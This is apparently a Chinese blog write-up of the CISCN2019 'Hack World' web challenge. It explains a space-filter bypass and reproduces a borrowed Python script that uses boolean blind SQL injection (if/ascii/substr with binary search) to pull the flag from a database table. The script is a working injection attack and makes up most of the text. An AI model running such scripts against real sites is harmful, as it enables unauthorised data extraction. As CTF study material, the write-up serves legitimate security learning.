[CISCN2019 华北赛区 Day2 Web1]Hack World
摆弄了半天没有什么思路,找了网上的wp看了一下呜呜
输入1,2,有不同的回显,其他没反应

基本上函数没被过滤,然后空格被过滤了,可以采用括号包裹变量然绕过
或者用tab代替空格也可以
payload:

脚本找了网上一个师傅的二分法,会比较快。
链接:https://www.cnblogs.com/kevinbruce656/p/11342580.html
import requests
import time
#url是随时更新的,具体的以做题时候的为准
url = 'http://83afad05-8cb2-4c1d-8efd-3def9efca621.node3.buuoj.cn/index.php'
data = {"id":""}
flag = 'flag{'
i = 6
while True:
#从可打印字符开始
begin = 32
end = 126
tmp = (begin+end)//2
while begin<end:
print(begin,tmp,end)
time.sleep(1)
data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp)
r = requests.post(url,data=data)
if 'Hello' in r.text:
begin = tmp+1
tmp = (begin+end)//2
else:
end = tmp
tmp = (begin+end)//2
flag+=chr(tmp)
print(flag)
i+=1
if flag[-1]=='}':
break
稍微等一下就能跑出来flag了。

1万+

被折叠的 条评论
为什么被折叠?



